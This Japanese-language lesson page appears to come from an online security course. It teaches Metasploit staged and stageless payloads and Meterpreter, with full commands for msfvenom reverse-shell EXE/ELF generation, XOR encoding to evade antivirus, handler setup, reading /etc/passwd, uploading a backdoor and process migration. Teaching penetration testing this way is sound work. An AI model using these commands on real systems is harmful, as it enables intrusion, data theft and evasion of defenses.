Payload:stagedとstageless、Meterpreter
状況に適したpayloadを選び、侵入後の操作にMeterpreterを使います。
「Payload:stagedとstageless、Meterpreter」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
ペイロードとは
ペイロードとは、エクスプロイトの成功後に対象上で実行されるコードです。攻撃者が得るもの、つまりシェル、コマンド実行、ファイルアクセス、Meterpreterのような高機能エージェントを定義します。
StagedペイロードとStagelessペイロード
Stagelessペイロード(/)は、すべてを1つのバイナリに含みます。サイズは大きくなりますが、構成が簡単で、初回の配信後にネットワークコールバックを必要としません。Stagedペイロード(//)は、まず小さなステージャーを送信し、ハンドラーから第2ステージをダウンロードします。
# Stageless (single slash naming):
windows/x64/shell_reverse_tcp
# Staged (double slash naming):
windows/x64/shell/reverse_tcp
# ^
# stage 2 downloaded after stager connects使い分け
初回のエクスプロイト後に対象からインターネットやハンドラーへアクセスできない場合はstagelessを使用します。ペイロードを自己完結させる必要があるためです。初回のペイロードを小さくし、ハンドラーへの安定した接続を確保できる場合はstagedを使用します。
Meterpreterの概要
MeterpreterはMetasploitの高度なペイロードです。すべてメモリ内で実行され、通信は暗号化され、高機能なAPIを提供します。ファイルシステムへのアクセス、プロセス移行、キーロギング、スクリーンショット取得、ピボッティングなどが可能です。
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > runMeterpreterのコマンド
ポストエクスプロイトに不可欠なMeterpreterのコマンドには、システム情報の取得、プロセス一覧の表示、ファイル操作、ネットワーク操作などがあります。
meterpreter > sysinfo # system information
meterpreter > getuid # current user
meterpreter > ps # process list
meterpreter > download /etc/passwd
meterpreter > upload backdoor.sh /tmp/
meterpreter > shell # drop to OS shellプロセス移行
Meterpreterのプロセスを、より安定している、または疑いを持たれにくいプロセス(Windowsのexplorer.exeなど)へ移行します。より高い権限を持つプロセスに移行すると、権限を昇格できる場合もあります。
meterpreter > ps
meterpreter > migrate 1234 # migrate to PID 1234
# Migrate to explorer.exe for stability
# Avoids termination if original process exitsmsfvenomによるペイロードの生成
msfvenomは、認可されたテストでフィッシング、USBドロップ、Webシェルを介して配信するためのスタンドアロンペイロードファイル(EXE、ELF、APK、シェルコード)を生成します。
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f exe -o payload.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f elf -o payload.elfシェルを受信するMulti/Handler
multi/handler Auxiliaryモジュールは、リバースシェル接続を受信します。ペイロードを配信する前に、msfvenomで使用したものと同じペイロード、LHOST、LPORTを設定します。
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > run -j # run as background jobエンコードと回避の基礎
msfvenomのエンコーダーはペイロードを難読化し、基本的なシグネチャベースのAV検出を回避できます。ただし、最新のEDRは振る舞い検知を使用するため、エンコーダーだけでは高度な防御に対して不十分です。
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f exe -o encoded_payload.exeBindペイロードとReverseペイロード
Reverseペイロードは対象から攻撃者へ接続します(NATやファイアウォールに適しています)。Bindペイロードは対象上で待ち受け、攻撃者が接続します。ほとんどの状況ではReverseが推奨されます。
防御側によるペイロードの検知
防御側は、ネットワークシグネチャ(C2トラフィックのパターン)、メモリスキャン(リフレクティブDLLインジェクションの痕跡)、振る舞い分析(プロセスハロウイングや不審な親子関係)によってMeterpreterを検知します。
確認問題
Metasploitにおいて、StagedペイロードとStagelessペイロードの違いは何ですか。
まとめ:ペイロードとMeterpreter
初回のフットプリントを小さくしたい場合はStagedペイロードを、自己完結した配信が必要な場合はStagelessペイロードを選択します。Meterpreterはポストエクスプロイトに最も高い機能を持つペイロードで、メモリ内で動作し、暗号化され、拡張可能です。スタンドアロンバイナリの生成にはmsfvenomを使用し、コールバックを受信できるように必ずmulti/handlerを設定します。
よくある質問
「Payload:stagedとstageless、Meterpreter」レッスンは無料ですか?
はい。「Payload:stagedとstageless、Meterpreter」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「Payload:stagedとstageless、Meterpreter」で何を学びますか?
状況に適したpayloadを選び、侵入後の操作にMeterpreterを使います。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「Payload:stagedとstageless、Meterpreter」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Metasploitのアーキテクチャとmsfconsole
- 既知の脆弱性の悪用
- Payload:stagedとstageless、Meterpreter
- 侵入後の操作:PivotとPersist